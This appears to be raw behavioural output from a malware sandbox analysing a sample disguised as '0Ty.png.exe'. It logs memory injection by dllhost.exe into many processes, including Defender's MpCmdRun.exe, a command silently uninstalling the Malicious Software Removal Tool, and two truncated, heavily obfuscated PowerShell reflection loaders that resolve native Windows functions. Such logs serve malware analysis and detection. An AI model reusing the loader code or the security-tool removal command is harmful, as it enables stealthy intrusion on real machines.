Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2840000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2E30000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2A20000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: C30000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 910000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 23A0000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2310000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 29C0000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: A70000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 1500000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2900000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2BB0000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 25D0000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2130000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 5E0000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: E50000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2610000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 13B0000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2A20000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 8D0000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2360000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 29C0000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 20C0000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 27F0000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 13E0000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 15B0000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 12D0000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2FE0000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 1480000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 14F0000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2BC0000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: F50000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2EF0000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 22F0000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2F70000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: CB0000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 900000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 26E0000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: BF0000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 970000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 5E0000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 720000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 23F0000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 670000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2D70000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2970000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2300000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 840000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2FD0000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2090000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2200000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: A20000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: A20000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: E00000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 26C0000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 1F0A6440000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 1BFF06F0000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\conhost.exe base: 24089940000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 28B955D0000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\conhost.exe base: 14ECB470000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\dllhost.exe base: 191C8F30000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files\Windows Defender\MpCmdRun.exe base: 27F4ECC0000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\conhost.exe base: 17B55CA0000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\wbem\WMIADAP.exe base: 278C9700000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\wbem\WMIADAP.exe base: 278C9730000
Source: C:\Users\user\Desktop\0Ty.png.exe Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{cf3d95db-0758-4a82-bfdc-72f769e75e83} Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\choice.exe choice /C Y /N /D Y /T 3 Jump to behavior
Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe Jump to behavior
Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe Jump to behavior
Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe Process created: C:\Windows\System32\dialer.exe dialer.exe Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{0efb55d5-e8e1-4bc9-b3c4-28c83a2f4e5a}
Source: unknown Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\windowspowershell\v1.0\powershell.exe "function local:cktjhrwjgtvv{param([outputtype([type])][parameter(position=0)][type[]]$oberloaczjvocu,[parameter(position=1)][type]$nrddeuxitk)$iahamhduysn=[appdomain]::currentdomain.definedynamicassembly((new-object reflection.assemblyname(''+'r'+''+[char](101)+''+[char](102)+''+'l'+''+'e'+''+'c'+'t'+'e'+''+[char](100)+''+[char](68)+''+'e'+'l'+[char](101)+''+[char](103)+'a'+[char](116)+''+'e'+'')),[reflection.emit.assemblybuilderaccess]::run).definedynamicmodule(''+[char](73)+''+[char](110)+'m'+[char](101)+'mor'+[char](121)+''+[char](77)+''+'o'+'dul'+'e'+'',$false).definetype(''+[char](77)+''+'y'+'de'+[char](108)+''+'e'+''+[char](103)+''+[char](97)+'t'+'e'+''+[char](84)+''+'y'+'p'+'e'+'',''+[char](67)+''+[char](108)+'as'+[char](115)+''+[char](44)+''+[char](80)+''+[char](117)+''+[char](98)+''+'l'+''+'i'+'c,'+[char](83)+'e'+'a'+''+[char](108)+''+'e'+''+[char](100)+''+[char](44)+''+[char](65)+'nsic'+[char](108)+'a'+[char](115)+''+[char](115)+''+','+''+'a'+''+[char](117)+''+'t'+''+[char](111)+'cla'+'s'+''+'s'+'',[multicastdelegate]);$iahamhduysn.defineconstructor(''+'r'+''+'t'+''+[char](83)+''+'p'+''+[char](101)+'c'+[char](105)+'a'+[char](108)+''+[char](78)+'a'+[char](109)+''+[char](101)+''+[char](44)+''+[char](72)+''+[char](105)+''+[char](100)+''+[char](101)+''+'b'+''+[char](121)+''+[char](83)+''+[char](105)+'g'+[char](44)+'p'+[char](117)+''+'b'+''+[char](108)+'i'+[char](99)+'',[reflection.callingconventions]::standard,$oberloaczjvocu).setimplementationflags(''+'r'+'u'+'n'+''+[char](116)+''+[char](105)+''+[char](109)+''+[char](101)+''+','+''+[char](77)+''+'a'+''+[char](110)+''+[char](97)+'ged');$iahamhduysn.definemethod('i'+[char](110)+'v'+'o'+''+[char](107)+'e',''+[char](80)+'ub'+'l'+''+[char](105)+''+[char](99)+''+[char](44)+''+[char](72)+''+'i'+''+'d'+''+'e'+''+[char](66)+''+'y'+''+'s'+''+[char](105)+''+[char](103)+''+[char](44)+''+[char](78)+''+[char](101)+''+'w'+''+[char](83)+''+'l'+''+[char](111)+'t'+[char](44)+''+[char](86)+''+[char](105)+'r'+[char](116)+'u'+'a'+''+[char](108)+'',$nrddeuxitk,$oberloaczjvocu).setimplementationflags('ru'+[char](110)+''+[char](116)+''+[char](105)+''+'m'+'e'+','+''+[char](77)+'anag'+'e'+''+'d'+'');write-output $iahamhduysn.createtype();}$qragmiyqxnsdw=([appdomain]::currentdomain.getassemblies()|where-object{$_.globalassemblycache -and $_.location.split('\')[-1].equals('s'+'y'+''+'s'+'te'+[char](109)+''+[char](46)+''+[char](100)+''+[char](108)+''+[char](108)+'')}).gettype(''+'m'+''+[char](105)+''+[char](99)+''+[char](114)+'os'+[char](111)+'f'+'t'+''+[char](46)+''+[char](87)+''+'i'+'n3'+[char](50)+''+[char](46)+''+[char](85)+''+'n'+'s'+[char](97)+'f'+[char](101)+''+[char](78)+'a'+[char](116)+''+[char](105)+''+[char](118)+''+[char](101)+''+'m'+'e'+[char](116)+'ho'+[char](100)+''+'s'+'');$ovdfgatjnennnn=$qragmiyqxnsdw.getmethod(''+'g'+''+[char](101)+'t'+'p'+''+[char](114)+''+[char](111)+'c'+[char](65)+
Source: unknown Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\windowspowershell\v1.0\powershell.exe "function local:dwpcgqraxeqb{param([outputtype([type])][parameter(position=0)][type[]]$kwrqxtwrdzvghi,[parameter(position=1)][type]$douozqbwki)$zycfoocruuh=[appdomain]::currentdomain.definedynamicassembly((new-object reflection.assemblyname('r'+[char](101)+''+[char](102)+''+'l'+''+[char](101)+''+[char](99)+''+[char](116)+''+[char](101)+'d'+'d'+''+[char](101)+'l'+[char](101)+''+'g'+''+[char](97)+''+[char](116)+''+[char](101)+'')),[reflection.emit.assemblybuilderaccess]::run).definedynamicmodule(''+[char](73)+''+[char](110)+'m'+[char](101)+''+[char](109)+'o'+[char](114)+'y'+'m'+'o'+[char](100)+'u'+[char](108)+''+[char](101)+'',$false).definetype(''+[char](77)+''+[char](121)+''+[char](68)+'e'+[char](108)+''+'e'+'ga'+[char](116)+''+[char](101)+'t'+[char](121)+''+[char](112)+''+[char](101)+'',''+[char](67)+''+[char](108)+'a'+'s'+''+[char](115)+''+[char](44)+''+[char](80)+''+'u'+'b'+[char](108)+''+[char](105)+''+'c'+''+[char](44)+''+'s'+''+[char](101)+''+'a'+''+'l'+''+[char](101)+''+[char](100)+''+','+''+[char](65)+''+[char](110)+''+'s'+''+'i'+''+[char](67)+''+[char](108)+''+[char](97)+''+[char](115)+''+[char](115)+''+[char](44)+''+[char](65)+''+[char](117)+''+[char](116)+''+'o'+''+[char](67)+'lass',[multicastdelegate]);$zycfoocruuh.defineconstructor(''+[char](82)+'t'+[char](83)+''+'p'+'e'+'c'+''+[char](105)+''+[char](97)+''+'l'+''+'n'+''+[char](97)+''+[char](109)+''+[char](101)+','+[char](72)+''+'i'+'d'+[char](101)+'b'+[char](121)+''+'s'+''+[char](105)+''+[char](103)+','+[char](80)+'u'+'b'+'l'+[char](105)+''+[char](99)+'',[reflection.callingconventions]::standard,$kwrqxtwrdzvghi).setimplementationflags(''+'r'+''+'u'+'nt'+'i'+'m'+[char](101)+','+'m'+''+'a'+''+[char](110)+''+[char](97)+'g'+'e'+''+[char](100)+'');$zycfoocruuh.definemethod(''+[char](73)+'n'+[char](118)+''+'o'+''+'k'+''+'e'+'',''+[char](80)+''+[char](117)+''+'b'+''+[char](108)+''+[char](105)+'c'+[char](44)+'h'+[char](105)+''+[char](100)+''+[char](101)+''+'b'+''+[char](121)+'sig'+','+''+[char](78)+''+'e'+''+[char](119)+''+'s'+''+[char](108)+''+[char](111)+''+[char](116)+''+[char](44)+''+[char](86)+'ir'+[char](116)+''+'u'+''+'a'+''+[char](108)+'',$douozqbwki,$kwrqxtwrdzvghi).setimplementationflags(''+'r'+''+'u'+''+'n'+''+[char](116)+''+[char](105)+''+[char](109)+''+[char](101)+''+[char](44)+''+[char](77)+''+[char](97)+'n'+'a'+''+[char](103)+''+'e'+''+[char](100)+'');write-output $zycfoocruuh.createtype();}$pibnzpatgoisb=([appdomain]::currentdomain.getassemblies()|where-object{$_.globalassemblycache -and $_.location.split('\')[-1].equals(''+'s'+''+[char](121)+''+[char](115)+''+'t'+''+'e'+''+[char](109)+''+[char](46)+'d'+'l'+'l')}).gettype(''+[char](77)+'i'+[char](99)+''+[char](114)+'o'+'s'+''+'o'+''+[char](102)+''+[char](116)+'.'+[char](87)+'in'+[char](51)+''+[char](50)+''+'.'+'uns'+[char](97)+''+[char](102)+'e'+'n'+''+[char](97)+'t'+'i'+''+[char](118)+'em'+[char](101)+''+[char]
Source: C:\Windows\System32\dllhost.exe Code function: 68_2_0000000140002300 AllocateAndInitializeSid,SetEntriesInAclW,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeW, 68_2_0000000140002300
Source: C:\Windows\System32\dllhost.exe Code function: 68_2_0000000140002300 AllocateAndInitializeSid,SetEntriesInAclW,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeW, 68_2_0000000140002300
Source: C:\Windows\System32\conhost.exe Code function: 31_3_0000024089953B20 cpuid 31_3_0000024089953B20
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
